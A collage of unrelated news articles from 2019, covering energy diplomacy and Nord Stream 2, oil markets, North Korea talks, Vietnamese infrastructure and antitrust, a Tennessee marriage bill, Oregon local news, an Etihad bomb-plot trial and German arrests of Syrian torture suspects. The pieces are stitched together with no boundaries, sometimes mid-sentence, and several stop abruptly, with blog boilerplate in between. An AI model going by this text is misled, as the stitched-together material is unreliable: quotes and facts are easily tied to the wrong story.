"The growth in solar jobs over the last year is in response to increased demand for access to clean and affordable energy by Illinoisans," said Jeff Cramer, executive director for the Coalition for Community Solar Access (CCSA). "Community solar can serve a vital role in achieving the Path to 100 clean energy goal, creating jobs and developing a resilient distributed energy grid for the entire state."Today (2/12), U.S. Deputy Secretary of Energy Dan Brouillette participated in a German LNG Conference in Berlin, hosted by German Federal Minister of Economic Affairs and Energy Peter Altmaier. The Deputy Secretary and Minister Altmaier were joined by International Energy Agency Executive Director Dr. Fatih Birol, as well as government and industry leaders to discuss the essential role of natural gas in both the U.S. and Germany's energy futures. U.S. Ambassador to Germany Richard Grenell also participated in the day's events.

Deputy Secretary Brouillette emphasized how America's natural gas revolution has played an integral role in U.S. energy security, and how it can play an important role in Germany's as well. Both Brouillette and Altmaier agreed that diversifying Germany's natural gas supply is critical to maintaining both Germany and the EU's energy security.

The Deputy Secretary reasserted the United States' opposition to the Nord Stream II pipeline, as a project that increases Germany's reliance on the Russian Federation and its use of energy as a tool for political coercion. Both leaders agreed, however, to work together on finding new opportunities for LNG collaboration between the U.S. and Germany.

Minister Altmaier also announced today (2/12) that the German government will move forward with financing for the construction of two LNG import terminals in Germany. Brouillette remarked the U.S. is encouraged by the progress of these projects as a means to help Germany diversify their energy infrastructure and supply.

In addition to the LNG conference, Deputy Secretary Brouillette held bilateral meetings with German State Secretary for Energy, Andreas Feicht, and Foreign Affairs State Secretary, Walter Lindner, on the importance of LNG and overall U.S.-Germany energy cooperation.

News Media Contact: (202) 586-4940The International Atomic Energy Agency (IAEA) and the European Union (EU) reviewed progress achieved in working together on a range of nuclear activities and agreed to further enhance cooperation during their seventh annual Senior Officials Meeting, in Luxembourg, this week.

The talks provided a forum for exchanging views on strengthening collaboration on nuclear safety, security, safeguards and nuclear research, innovation and training. In particular, the two organizations took note of progress they have made in cooperation on nuclear safety and security, as well as nuclear safeguards. The role of nuclear energy in addressing climate change, for those countries choosing to use it, was among the topics raised in the discussions.

"We took stock of important developments in areas of common interest and steered the direction of our cooperation for the year ahead. The EU is one of our most relevant partners and its support for the IAEA's mandate and work is valued," said Cornel Feruta, Assistant Director General, Chief Coordinator for the IAEA.

"Nuclear safety and security remain a major priority in the EU", said Gerassimos Thomas, Deputy Director General in the Directorate-General for Energy of the European Commission. "In 2018, the EU completed its first ever topical peer review on ageing management of nuclear power plants and research reactors under the amended Nuclear Safety Directive."

To support continuous safety improvements, the EU would continue to support the IAEA's peer review services IRRS and ARTEMIS, which were being widely used by EU Member States to fulfil their legal obligations on nuclear safety and waste management. Developments related to Small Modular Reactors (SMRs), in particular regulatory aspects, were also discussed.

EU support for a variety of IAEA activities has delivered consistent and concrete results over the past year. Officials commended the long-standing and fruitful cooperation under the Instrument for Nuclear Safety Cooperation and in the Regulatory Cooperation Forum. Joint efforts to address environmental remediation in Central Asia will continue following the successful donors' conference in 2018.

The EU reiterated its support for the IAEA's role in verifying and monitoring the implementation of Iran's nuclear-related commitments under the Joint Comprehensive Plan of Action (JCPOA).

During the talks, the EU and the IAEA agreed to further strengthen cooperation in training as well as research and development. In this context, they welcomed progress in advancing activities on nuclear applications under the Practical Arrangements over the second year of their implementation.

The EU reaffirmed its support for the IAEA's 2018-2021 Nuclear Security Plan, highlighting the importance of the universalisation and implementation of the Amendment to the Convention on the Physical Protection of Nuclear Material (A/CPPNM). Implementation of the EU Council Decisions in support of IAEA's activities on nuclear security was also discussed. The two sides also reviewed cooperation on technical matters in the field of nuclear security.

Officials reviewed progress on the implementation of nuclear safeguards in EU Member States and on the European Commission Safeguards Support Programme to the IAEA.

The next Senior Officials Meeting is expected to take place in Vienna in early 2020.This blog may be a labor of love for me, but it takes a lot of effort, time and money. For over 14 years and 30,000 articles I have been providing accurate, original news that would have remained unnoticed. I've written hundreds of scoops and sometimes my reporting ends up making a real difference. I appreciate any donations you can give to keep this blog going.Ukraine Cabinet partially unblocks work of health ministry

A government order allows the acting minister to take urgent steps, such as approving distribution of vaccines and medicines across the regions, as well as sending Ukrainian patients to receive treatment abroad.

If you see a spelling error on our site, select it and press Ctrl+EnterWhat do you think about our new website?

Share your opinionThe top diplomat recalled that Russia had been using gas supplies as a political weapon for its geostrategic purposes.

Natural gas is Russia's political weapon, U.S. Secretary of State Mike Pompeo told a joint presser with Polish Foreign Minister Jacek Czaputowitz during his visit to Poland.

"Poland has vigorously pursued a course to reduce its dependent on Russian natural gas, which Moscow continues to use for  as a political weapon for its geostrategic purposes," Pompeo said, according to the State Department's press release.

Read alsoEU agrees on amendments to Gas Directive, which will regulate, among others, Nord Stream 2

"We continue to work with Poland and other likeminded European allies and partners to stop Russias proposed Nord Stream 2 pipeline, which would undermine European energy and national security while also hurting Ukraine," said Pompeo.

He added that the U.S. shares the view that the Nord Stream 2 project "does not contribute to energy security of Europe."

"We consider it to be an undertaking that is mismatched or actually detrimental to the energy security on the old continent," the U.S. Secretary of State said.Ukrtransgaz gave no reason for the increase.

Russian natural gas volumes piped via Ukraine to European consumers rose 26 percent year-on-year in January to 7.6 billion cubic metres (bcm), the Ukrainian gas transport monopoly Ukrtransgaz said on Tuesday.

Read alsoNaftogaz: Gas transit conditions set by Gazprom "absolutely unacceptable"

Ukrtransgaz gave no reason for the increase, as reported by Reuters.

More than a third of Russia's gas exports to the European Union currently cross Ukraine, providing Kyiv with valuable income. Russian gas giant Gazprom has said it wants to bypass Ukraine by building new pipelines.

Russian gas exports via Ukraine fell by 7 percent in 2018 to 86.8 bcm.

Relations between the two countries have deteriorated since Russia annexed the Crimean peninsula in March 2014 and Ukraine halted its own imports of Russian gas in 2015.IMF sees no significant progress in fight against corruption in Ukraine

Ukraine has succeeded in eliminating economic imbalances in the past five years.

If you see a spelling error on our site, select it and press Ctrl+EnterDespite the political rifts between Venezuela and the United States, U.S. refiners have in the past been some of the biggest buyers of Venezuelan crude.

Oil prices rose on Wednesday as producer club OPEC said it had cut supply deeply in January and as U.S. sanctions hit Venezuela's oil exports.

U.S. West Texas Intermediate (WTI) crude oil futures were at $53.66 per barrel at 0530 GMT, up 56 cents, or 1.1 percent, from their last close, Reuters said.

Read alsoReuters: Oil prices rise on OPEC output cuts, as U.S. sanctions bite

U.S. prices were also supported by a report from the American Petroleum Institute (API) on Tuesday showing that crude inventories fell by 998,000 barrels in the week to Feb. 8 to 447.2 million, compared with analyst expectations for an increase of 2.7 million barrels.

International Brent crude futures were up 1 percent, or 65 cents, at $63.07 per barrel.

The Organization of the Petroleum Exporting Countries (OPEC), which Saudi Arabia de-facto leads as the world's top crude oil exporter, said on Tuesday that it had cut its output by almost 800,000 bpd in January to 30.81 million bpd.

Supply issues in OPEC-member Venezuela are also bolstering oil prices as the South American country suffers a political and economic crisis, with Washington introducing petroleum export sanctions against state-owned energy firm PDVSA.

Despite the political rifts between Venezuela and the United States, U.S. refiners have in the past been some of the biggest buyers of Venezuelan crude.

These customers have fallen away after Washington imposed sanctions earlier this year.Permalink Notice

Because of changes created by Blogger, older permalinks to my archived posts no longer work. My apologies for that. The year-and-month in the old permalinks are correct, however, so you may be able to find the post you are looking for with some work. Alternatively, e-mail me for the currently functioning permalink.

US commander says North Korea unlikely to give up all nuclear weapons

North Korean leader Kim Jong Un (C) discusses nuclear weapons development with North Korean officials in this undated photo released by North Korea's Korean Central News Agency (KCNA) in Pyongyang September 3, 2017. Photo handed out via Reuters

Admiral Philip Davidson, head of the Indo-Pacific Command, expressed his doubts about North Korean intentions in his written submission to the panel on Tuesday, just weeks before a second summit between U.S. President Donald Trump and North Korean leader Kim Jong Un.

"USINDOPACOMs assessment on North Korean denuclearization is consistent with the Intelligence Community position."

"That is, we think it is unlikely that North Korea will give up all of its nuclear weapons or production capabilities, but seeks to negotiate partial denuclearization in exchange for U.S. and international concessions," he said, after expressing optimism about the February 27-28 Hanoi summit in verbal testimony to the Senate Armed Services Committee.

Last month, U.S. Director of National Intelligence Dan Coats told Congress he believed it was unlikely North Korea would give up all its nuclear weapons and that it had continued activity inconsistent with pledges to denuclearize.

Trump has been eager for a second summit with Kim even though their first meeting in Singapore in June produced only vague commitments from Kim and little concrete progress since.

While Trump has cited North Korea halting its nuclear testing and no new missile launches in 15 months as proof of progress, a report by U.N. sanctions monitors has also cast doubt on Pyongyangs intentions.

Pyongyang "is using civilian facilities, including airports, for ballistic missile assembly and testing with the goal of effectively preventing decapitation strikes" on a smaller number of identified nuclear and missile assembly and manufacturing sites," the U.N. report said.

The White House declined comment on Davidsons remarks. A State Department spokeswoman said it remained confident the Singapore summit commitments would be fulfilled, and added: "It is Chairman Kims commitment to denuclearization upon which the world is focused."

Much needs to be done

Davidson said tensions with North Korea had declined since it halted nuclear and missile testing in 2017 and that it had taken some denuclearization steps, most notably the destruction of tunnels at it nuclear test site.

However, he said that action was reversible and added: "Much needs to be done to make meaningful progress."

Davidson also noted that North Korea had demanded "corresponding" U.S. steps and that Kim had warned in a New Year speech of a potential "new path," which could indicate an eventual return to weapons testing, if he was not satisfied with the negotiations.

Kim pledged in Singapore to work toward denuclearization of the Korean peninsula and in September expressed willingness to permanently dismantle facilities at his countrys main nuclear site of Yongbyon - in return for corresponding U.S. moves.

U.S. Special Representative for North Korea Stephen Biegun held three days of talks in Pyongyang last week to prepare for the second summit, which he said would include discussion of such corresponding steps.

South Korean media said Biegun told a South Korean parliamentary delegation visiting Washington that in Pyongyang the two sides agree not to negotiate, but to make clear their respective positions.

Yonhap news agency said members of the parliamentary delegation quoted Biegun as saying that while there had been agreement on the summit agenda, the two sides would seek to narrow their differences in the next round of talks.

"With only two weeks until the summit, it will be difficult to resolve all the tricky issues, but theres a chance if we can agree on a timeline (for denuclearization)," a South Korean delegation member quoted Biegun as saying.

Yonhap quoted South Koreas presidential office as saying that Biegun planned to meet the North Koreans again in an Asian country next week.

The State Department declined to comment.

U.S. Secretary of State Mike Pompeo said during a visit to Slovakia on Tuesday he hoped for "substantial progress" in Hanoi.

In talks with the United States, North Korea has been seeking a lifting of punishing U.S.-led sanctions, a formal end to the 1950-53 Korean War, and security guarantees.

A Stanford University study released on Tuesday said North Korea had continued to produce bomb fuel while in talks with the United States and may have produced enough in the past year to add as many as seven nuclear weapons to its arsenal.

However, it said North Koreas freeze in nuclear and missile testing since 2017 mean its weapons program probably poses less of a threat than it did at the end of that year.

ReutersMost Southeast Asia stock markets closed lower on Tuesday while Vietnam rallied for the second straight session to its highest level in nearly two months.

Washington and Beijing will commence high-level trade talks this week to negotiate an end to their bitter trade dispute.

Despite positive responses from both sides, the sailing of two U.S. destroyers near the disputed South China Sea, and China's subsequent anger over the move appeared detrimental to negotiations.

The Indonesian index fell the most in the region, closing 1.1 percent lower in its worst session this year, weakened by a slump in financial and telecom stocks.

The country's biggest bank by market value, Bank Central Asia, shed 0.6 percent, whereas Telekom Indonesia lost 2.8 percent.

The Philippine benchmark slipped 0.6 percent, dragged by consumer and industrial stocks. Meanwhile, the country's trade deficit narrowed in December as imports tumbled for the first time in a year.

The stock index has outperformed other exchanges in the region so far in 2019, gaining about 7.3 percent.

"We are mildly concerned about the surprise pullback in capital goods and raw materials. If this continues, this could show that recent aggressive tightening by the BSP (Bangko Sentral ng Pilipinas) is starting to bite into investment appetite, hampering the nascent investment-driven growth story that we have witnessed of late," ING said in a note.

Meanwhile, Vietnam benchmark rose for the second straight session and ended up 1.2 percent at its highest level since Dec. 17, with real estate and consumer stocks leading the gains.

Property developer Vingroup JSC scaled 4.9 percent, while Saigon Beer Alcohol Beverage Corp jumped 1.9 percent.

Vietnam was also chosen to host this month's summit between U.S. President Donald Trump and his North Korean counterpart KimJong Un.Construction of Long Thanh International Airport should begin next year with private funding prioritized, Deputy PM Trinh Dinh Dung has said.

It has reached the highest level of priority since Saigons Tan Son Nhat has become overloaded, he said at a recent meeting.

The deputy prime minister wanted the giant new airport in Dong Nai Province near HCMC to become an aviation hub for Southeast Asia.

"If we get companies with deep pockets into the project, costs would surely be lower than using public funds or loans."

The Airports Corporation of Vietnam (ACV) recently proposed it should be the main investor.

The ACV, which operates 21 airports in the country, said it could bring in the $1-1.5 billion needed for the first phase of the airport.

It is currently working with the Ministry of Transport and Dong Nai authorities to acquire 1,800 hectares of land for the first phase.

The ministry reported at the meeting that the consultancy consortium of the airport is now completing the preliminary design, which would be submitted next April.

The ministry has instructed the consortium, JFV, to complete an environmental impact report by next month.

JFV, comprising three Japanese, one French and two Vietnamese companies, will also need to submit a feasibility report for the airport by June.

The Long Thanh International Airport, to be built in three phases over three decades, will become Vietnams largest airport.

The first part is scheduled for completion in 2025 with a capacity of 25 million passengers a year. The next two phases will run from 2030 to 2035 and from 2040 to 2050.

The total cost is estimated at $16 billion. Experts have warned that the cost could double every five years in case of delays.

Once completed, the airport will have an annual capacity of 100 million passengers and five million tons of cargo.

The tourism surge in Vietnam in recent years has resulted in a demand for upgrades to existing airports and construction of new ones.

The country received 12.5 million air passengers last year, up 14.4 percent from 2017, according to the General Statistics Office.Grab said it did not breach Vietnam's competition law in its acquisition of Uber in March 2018. Photo by Reuters

Vietnamese authorities are set to further investigate the merger between Grab and Uber last year for possible violation of antitrust regulations.

The Competition Council said after a thorough examination of documents and arguments furnished by both parties it has discovered a number of new details related to possible violation of competition laws by ride-hailing platform Grabs acquisition of Ubers business operations last March.

It has returned the case dossiers to the Ministry of Industry and Trades competition and consumer protection department for further investigation. The investigation is expected to go on until April this year.

Last year Singapore-based Grab acquired Uber in Southeast Asia in return for a 27.5 percent stake.

Vietnams Competition Law requires any merger or acquisition that results in a company gaining a 30 percent market share to be reported to competition authorities.

If a company gains a 50 percent market share from the deal, it can only be carried out with express permission from the authorities.

The departments preliminary investigation found Grabs market share had exceeded 50 percent since the acquisition.

But Grab insists it had acted legally and that the competition authorities have misinterpreted the scope of relevant markets when calculating the market share.

Last October the Philippiness competition watchdog fined the two companies a cumulative 16 million pesos ($296,873) saying they had completed the deal too soon and that the quality of service had dipped.

Singapore's competition authority fined them a total of S$13 million ($9.5 million) and announced other measures to address competition concerns arising from the merger.The Tennessean about the new effort by Republicans in the state legislature Over the weekend, Natalie Allison reported forabout the new effort by Republicans in the state legislature to outlaw same sex marriage ... again. State Senator Mark Pody (Lebanon) and Rep. Jerry Sexton (Bean Station) have reintroduced the "Tennessee Natural Marriage Defense Act," having seen it defeated in committee last session and despite the $9 billion in federal funding it would cost the state. They claim that the 2015 Obergefell v. Hodges Supreme Court decision legalizing same-sex marriage "is void in Tennessee because the state has already passed its own law and constitutional amendment limiting marriage to one man and one woman."

The bill would prohibit government officials-- presumably including clerks issuing marriage certificates-- from giving recognizing any court ruling that affirms same-sex unions, and specifies they cannot be arrested for failing to comply with court orders that do so.



It would also require the Tennessee attorney general to defend the state's law on marriage in any subsequent court challenge.



In the event the marriage defense act did take effect, plaintiffs would likely quickly step immediately to challenge it in court, which could result in a federal district court ruling that the law cannot be enforced.



The statute appears to require the state to appeal such a ruling and defend the law, potentially taking the case to the 6th circuit federal appeals court. From there, it could go ultimately advance to the U.S. Supreme Court.



"The far rights dream scenario is this would go back before the Supreme Court, and the Supreme Court would accept it," said Chris Sanders, executive director of the Tennessee Equality Project, an LGBTQ rights advocacy group that has previously opposed the bill.

Extremists in the state legislature can pretty much do whatever they like. The governor is a Republican and each house of the legislature has a GOP super-majority. 73.7% of voters picked a Republican and there are 73 Republicans in the state House, as opposed to 26 for the Democrats (a gain for the Dems of one member since 2016) On the senate side, 84.4% of Tennesseans voted for Republicans and the party has 26 seats (+ an independent caucusing with them) to the Democrats' 5 seats (also a one seat gain for the Dems).





Exactly one month from today-- March 12-- the Democrats have a shot at picking up another state Senate seat. Republican businessman Paul Rose and Democrat Eric Coleman are running for a seat that long-time legislator Mark Norris gave up when Trump appointed him to the federal bench. The district, north of Memphis leans heavily red. It includes rural Tipton County and Republican-leaning suburbs of Shelby County. Coleman was very clear where he stands on the marriage equality issue: "We need not find more reasons to separate and divide, and certainly not shift abruptly backward."





Coleman, a former USPS letter carrier, retired from the Navy last year and lives in Bartlett, northeast of Memphis in Shelby County. He told me he's running on a three-pronged plank that he calls his three foundational focuses:POTLATCH  With scorching temperatures expected in the next week and above-normal temperatures possible the rest of the summer, the new splash pad at Potlatchs Scenic 6 Park is likely to be the citys most popular attraction.CORVALLIS POLICE DEPARTMENT

Robbery/menacing  3 a.m. Feb. 6, 2335 NW Kings Blvd. An officer responded to the WinCo supermarket for a reported robbery. Employees said a man had walked out of the store with two cases of Mikes Hard Lemonade and a case of Budweiser beer without paying, then used a box cutter to threaten an employee who tried to stop him. Steven R. Merserau, 25, was arrested on charges of second-degree robbery, third-degree theft, menacing and unlawful use of a weapon.

Crosswalk rage  8 p.m. Friday, NW Fourth Street and Monroe Avenue. A motorist reported an incident involving a pedestrian in dark clothing crossing against the light. According to an incident report, the motorist didnt see the man in the crosswalk at first, but stopped before hitting him; the man then punched the cars rear window, causing it to shatter. The suspect was not located.

Auto theft  6:49 a.m. Monday, 2641 NW Ninth St. An officer was called to do a welfare check on a woman at 7-Eleven. The woman said she was from California and would contact her family to arrange transportation home. A short time later, a caller reported the woman had stolen a blue Scion belonging to a 7-Eleven customer and fled the area. A Benton County sheriffs deputy located the car at NW Second Street and Monroe Avenue and pulled it over. Megan Rachelle Pauley, 24, was arrested on a charge of unauthorized use of a vehicle. A day earlier, Pauley had been contacted by another deputy who found her walking south on Highway 99W just south of Corvallis. She told him she was from California and declined a ride into town, saying she wanted to walk home. Pauley had previously been listed as a missing person by the Oroville Police Department.John Cmelak, a tax policy director for Verizon Wireless, said money to support broadband should come from the states general fund, not cell phone customers.

You shouldnt have wireless customers paying for something they dont benefit at all from, Cmelak told lawmakers. He contended the surcharge was regressive, and said many poor people rely on voice calls and dont have landlines.

But if Mondays hearing was any indication, there is some confusion among legislators about what the bill would do, and how it would affect the cost of cell phone service and video call services like Skype.

State Rep. Brad Witt, D-Clatskanie, voiced frustration about what he felt was conflicting information presented by advocates and opponents of the bill on Monday.

I dont know what I can trust here in the testimony Im hearing today, Witt said. Im trying to make a decision here based on what Im hearing, and Im hearing very conflicting information.

Marsh told her colleagues that the telecom industry is pushing for expansion of faster cellular service, known as 5G, mostly in urban areas.

If we continue down the path toward bigger and faster technology without bringing rural Oregon along with us, we are going to exacerbate those rural Oregon technology divides, Marsh said. We are going to clearly identify the haves from the have-nots.

Reporter Claire Withycombe: cwithycombe@eomediagroup.com or 971-304-4148. Withycombe is a reporter for the East Oregonian working for the Oregon Capital Bureau, a collaboration of EO Media Group, Pamplin Media Group, and Salem Reporter.

Love 0 Funny 0 Wow 0 Sad 0 Angry 0Tuesday morning's weather prevented the representative of a group supporting a Mount Pleasant Community Church building project from attending a public hearing, so the Linn County Board of Commissioners postponed it until 11 a.m. Feb. 26.

Consultant Frank Walker was stuck in Hood River, staff from the Planning and Building Department told the commissioners. He had called the office Monday and asked for the continuance.

Two members of the public, who attended the meeting and wished to speak on the appeal process, said they would try to attend the next meeting.

At issue is a request by members of the historic church  founded in 1856 as the Mount Pleasant Presbyterian Church  to install a 30-foot-long breezeway to connect a planned modular building with the main church. The breezeway would be self-supporting and would not touch the church building.

The property is at 41935 Ridge Drive, near the Linn and Marion county line, about 5 miles south of Stayton.

In November, the countys Historic Resource Commission met and approved the proposal to site the 27-feet-8-inch by 32-feet modular building as an office, meeting hall and restrooms. Current sanitary services are via a portable toilet.This neighborhood has seen a great deal of redevelopment over the past few years. WesternU Health is the anchor tenant in a new building which includes many affordable housing units.

In addition, WesternU Health partnered with a local physician, Dr. Erik Szeto, to help build the client base. Szeto moved his practice into the location and following his retirement it is expected that many of his clients will continue to receive their primary health care through the clinic.

Crone said that without the cooperation of Dr. Szeto, the clinic would have never gotten off the ground.

Without question, Dr. Szeto, we would not be here today if it wasnt for you, your vision, your determination, your steadfast stubbornness to never give up, Crone said. Thank you very, very much for always thinking big and dreaming bigger.

The 5,200-square-foot clinic has eight exam rooms, two rooms designed specifically for osteopathic manipulative medicine treatments and one space which is large enough to serve as a procedure room. The clinic is designed in a horse-shoe pattern, with clinic rooms on the outside and the medical staffs work spaces on the interior. There is also a conference room which can be used for student instruction.One-hundred seventy Lebanon students gathered at the River Center on Thursday, Feb. 7 to test their knowledge of the books which had been assigned this year for the Oregon Battle of the Books.

These students were divided among 38 teams and represented all of Lebanons elementary and middle schools.

Marla Gessford, a retired teacher who now works part time at Hamilton Creek School, led the event for the fifth time.

This is the largest competition we have ever held, Gessford said.

The competition was divided into two categories: grades three through five and grades six through eight. Lebanon High School also participates but holds its own event.

Each Lebanon school can enter as many teams as possible in the district competition. At the school, an OBOB coordinator oversees the program and assigns students to a team which typically has three or four members. There are 16 books on the reading list for both elementary and middle school, and ideally, all of the books on the list have been read by at least one person on the team.This summer, Pyburn received $8,200 from the Oregon Commission on Historic Cemeteries to lay in a road, but because Armstrong donated his labor, Pyburn was able to use the funds to purchase gravel for the road and may be able to use the remaining money to help with the cleanup.

Right now, I want to open it up to let the light in, Pyburn said. Then, we can get work parties in and clear it to the dirt.

Support Local Journalism Your membership makes our reporting possible. {{featured_button_text}}

Then, comes the hard part.

Its difficult to find a clear path through the cemetery that doesnt involve tripping over fallen tree branches or avoiding headstones laying in the overgrown grass and poison oak. And every few feet the ground dips suddenly in tiny, shallow valleys.

Thats where the unmarked graves have sunk, Pyburn said.

Once the grounds are cleared, Pyburn plans to bring in a company to map out the cemetery using underground penetrating radar, but the chances of matching wayward headstones to unmarked graves are slim. Theres no list of individuals buried in the cemetery.An Australian man facing the death penalty in Lebanon over an alleged plot to blow up a passenger jet has asked a military tribunal to free him, saying investigators forced him to sign a false confession.





Amer Khayat was questioned over a statement bearing his signature that said he knew he was carrying explosives hidden inside a Barbie doll that would be detonated 20 minutes into the July 2017 Etihad flight.





"It is a masquerade," he told the court.





Mr Khayat pleaded with the tribunal's panel of judges to make a decision on his case.





He has been in custody since August 2017 while authorities in Lebanon investigate him.





"Do you want me to commit suicide in prison?" he shouted in the hearing room.





Australian Federal Police allege two bombs were hidden in the luggage of Mr Khayat by his brothers shortly before he boarded an Etihad flight from Sydney to Abu Dhabi in July 2017.





The AFP said Mr Khayat knew nothing about the bombs, which were allegedly hidden inside a meat grinder and a Barbie doll, and removed from his luggage at the last minute by his brothers because his bags exceeded Etihad's luggage allowance.





The brothers, Khaled and Mahmoud Khayat, are also Australian citizens. They have pleaded not guilty in the NSW Supreme Court to charges of planning a terrorist attack.





AFP cannot provide assistance in cases which could result in death penalty





In the Beirut tribunal, Amer Khayat questioned his ongoing detention.





"If the police [in Australia] say I have nothing to do with this, how can you say here that I have something to do with this?" he said.





The head of the tribunal, Brigadier General Hussein Abdallah, said Lebanon had repeatedly asked Australia for information about the case.





"We don't have anything from the Australian authorities, they are not cooperating," he said.





Amer Khayat's lawyer, Joceline Adib Al-Rahi, told the tribunal: "Australia won't send anything at all because we have the death penalty. You know this."





The AFP are prevented from providing assistance in international legal cases that could result in a death penalty.





General Abdallah questioned Amer Khayat about alleged admissions made by another brother, Islamic State (IS) fighter Tarek Khayat  who was captured in Syria in December 2018 and has been sentenced to death by an Iraqi court for his role with the extremist group.





General Abdallah said Tarek Khayat told interrogators the bomb plot originated with IS in Syria.





Tarek Khayat claimed he put an IS explosives expert in touch with his brother, Khaled, in Sydney. Tarek said explosives were mailed to Khaled, who decided they should be hidden in a meat grinder to smuggle them on a plane, said General Abdallah.





General Abdallah asked Amer Khayat about the day of the Etihad flight, when Amer allegedly took the bombs to the Etihad check-in counter in Sydney airport.





"What happened with the check-in agent?," General Abdallah said.





"She said there was too much weight  I don't know what Khaled did. He went and took away stuff," Amer replied.





He said it was his brother who removed items from the bags, not him.





"He was holding my luggage. He had the trolley, I didn't," Amer said.





"Did you see the meat grinder?" General Abdallah asked.





"Yeah. It was just a meat grinder," Amer Khayat said.





"Did you ask your brother why he was sending a meat grinder in your luggage?" General Abdallah asked.





"He said it was a gift," Amer said.





Amer Khayat's hearing in Lebanon will resume on March 13.

 | Report an error, an omission, a typo; suggest a story or a new angle to an existing story; submit a piece, a comment; recommend a resource; contact the webmaster, contact us: deathpenaltynews@gmail.com



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"One is absolutely sickened, not by the crimes that the wicked have committed,

but by the punishments that the good have inflicted." -- Oscar WildeThree men detained after complaints from Syrian regime prisoners who fled to Germany





Police in Germany and France have detained three former members of Syrias intelligence service in the first arrests by western authorities of suspected torturers from Bashar Al Assads regime.





Germany, which has taken in more than 600,000 Syrian refugees since the outbreak of the conflict in the spring of 2011, has led efforts to collate evidence and launch investigations that could one day trigger war crimes prosecutions against the Syrian leadership for the systematic torture and killing of civilian opponents.





The German Federal Prosecutors Office issued a statement on Tuesday saying the arrests took place on Monday in Berlin, in the western German town of Zweibrucken, and in France.





It said Anwar R, 56, was accused of crimes against humanity for taking part in the torture and mistreatment of prisoners in his capacity as a high-ranking member of Syrias General Intelligence Directorate between the end of April 2011 and the start of September 2012.





Eyad A, 42, is suspected of assisting in the killing of two people and in the torture and mistreatment of at least 2,000 people between early July 2011 and mid-January 2012, the office said. Another member of the secret service who has not been named was arrested in France by the Paris prosecutors office. The arrests were co-ordinated and the suspects have been remanded in custody.





The arrests are based on criminal complaints and harrowing testimony from former prisoners of the Syrian regime who came to Germany as refugees. Their statements were compiled by the Berlin-based European Centre for Constitutional and Human Rights (ECCHR), which called the arrests a milestone.





This could lead to a criminal trial in Germany, which would be the first trial anywhere in the world examining the responsibility of senior members of the Syrian intelligence agencies of President Bashar Al Assad for crimes of torture, ECCHR said.





The groups general secretary, Wolfgang Kaleck, said the witness statements given by six survivors contributed to the arrest warrant and that they would join the case as private parties.





The arrest shows once again that Germany is taking the fight against impunity for torture in Syria seriously, Mr Kaleck said. It sends a very important message to survivors of Assads system of torture. Without justice, there will be no lasting peace in Syria.





The intelligence service played an important role in suppressing the opposition from April 2011 onwards and was tasked with using brutal force to nip the uprising in the bud.





The arrested men are alleged to have belonged to a section of the General Intelligence Directorate that was responsible for security in the Damascus area.





Anwar R headed the so-called investigation department there which had a prison attached to it, the federal prosecutors office said. Prisoners underwent brutal and massive torture during their interrogation there. As head of the investigation department Anwar R directed and commanded procedures in the prison and the use of systematic and brutal torture.





It said Eyad A worked at a checkpoint near Damascus where he apprehended deserters, demonstrators and other suspects. 200 to 300 people were checked a day there. Around 100 were arrested per day, taken to the prison run by Anwar R and tortured.





Eyad A is also suspected of taking part in raids on peoples homes, and in autumn 2011 pursued demonstrators fleeing from a protest that had been put down violently. He had helped to arrest them and bring them to the prison for interrogation.





So far, all international efforts to launch prosecutions against members of the Assad regime have failed. The International Criminal Court (ICC) in The Hague cannot act because Syria is a not signatory, and China and Russia have vetoed the UN's attempts to allow the ICC or a special tribunal to proceed.





Germany is rigorously applying the principle of universal jurisdiction that allows national prosecutors to pursue people accused of international crimes even if they were committed in another country and neither the accused nor the victims are German nationals.





It is one of only three European countries, along with Sweden and Norway, applying universal jurisdiction over war crimes and was one of the first to incorporate universal jurisdiction  which is enshrined in the ICCs statute  into its own national criminal code in 2002.





It set up a war crimes unit at the federal prosecutors office in 2010 and opened up two general investigations into Syrian human rights abuses and ISIS in 2011.





Testimony from the former torture victims led to the issue of a German arrest warrant for Jamil Hassan, head of the Syrian Air Force Intelligence, in June last year. Other high-ranking officials named by victims include National Security Bureau chief Ali Mamlouk and former defence minister Fahd Jasim Al Furayi.





What has happened in Syria is a case for humanity, not only for Syrians, Yazan Awad, a former prisoner who was beaten with wooden poles that had nails embedded in them, given electric shocks, hung from the ceiling by his wrists and assaulted with a rifle, told The National in 2017.





You too are related to our case because you are human.

 | Report an error, an omission, a typo; suggest a story or a new angle to an existing story; submit a piece, a comment; recommend a resource; contact the webmaster, contact us: deathpenaltynews@gmail.com



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"One is absolutely sickened, not by the crimes that the wicked have committed,

but by the punishments that the good have inflicted." -- Oscar WildeKerala: Centre drops Ban on construction in the coastal regions of Kerala

by Jagruthi Maddela

February 13,2019 | Source: The Hans India

The state of Kerala will be experiencing more enhanced activities in the coastal regions where any kind of constructions of has been banned for several years. As the Centre has released the gazette notification on Coastal regulation zone (CRZ)-2018. However the state will have to ready coastal zone management plans (CZMP) for all coastal districts and local bodies that come under the purview of the notification, before planning any activity. It could also trigger environmental damage in the coastal region. We have a lot of strict rules, but we are very poor in implementing them and this is what we will have to look into. But, how can it be done as KCZMA is poorly equipped without enough staff. Most members are nominated, said senior scientist at National Centre for Earth Sciences KK Ramachandran.



Advocate S Sahasranaman, who is a legal expert on CRZ had said that, Now, all of it has to be revised. Plans have to be made on a war footing as the notification clearly says that there is no implementation of the new rules without the plan. The senior fellow at the Bengaluru-based Ashoka Trust for Research in Ecology and Environment Priyadarsanan Dharmarajan had said, Already over 3,000 acres have been encroached upon in the past seven years, which has impacted the waterbody, marine life and also the wetland area.



One of the areas that has not been addressed is the private mangroves. Around 50% of the mangroves in the state comes under private property. But the private mangroves dont seem to attract the buffer clause and we in Kerala are also unaware of the total area of private mangroves here, Ramachandran said.West Bengal: Tajpur and Haldia: How coastal development is impacting fishing

by Sudarshana Chakraborty

February 13,2019 | Source: Down To Earth

West Bengal Chief Minister Mamata Banerjee recently took back control of the proposed deep-sea port in Tajpur in East Midnapur district, saying the state will develop the project without the Centre. But, what about the livelihood of the stakeholders?



The local fishing community has not been apprised about the port project or told how their lives will be affected by it. Down To Earth visited a few of the areas the port would cover and found that not one official has visited these places up till now.



I have heard of the project, but so far have not officially informed by the government about it. The fishermen there have not received any official intimation yet. The details of the port are still unknown and also how it will affect the 6,000 registered fishermen and labourers, says Apurba Kar, an assistant at Tajpur Jaladha Matsya Khoti, one of the two matsya khotis in Tajpur where fishermen come and dry the fishes they catch before dispatching them to the market.



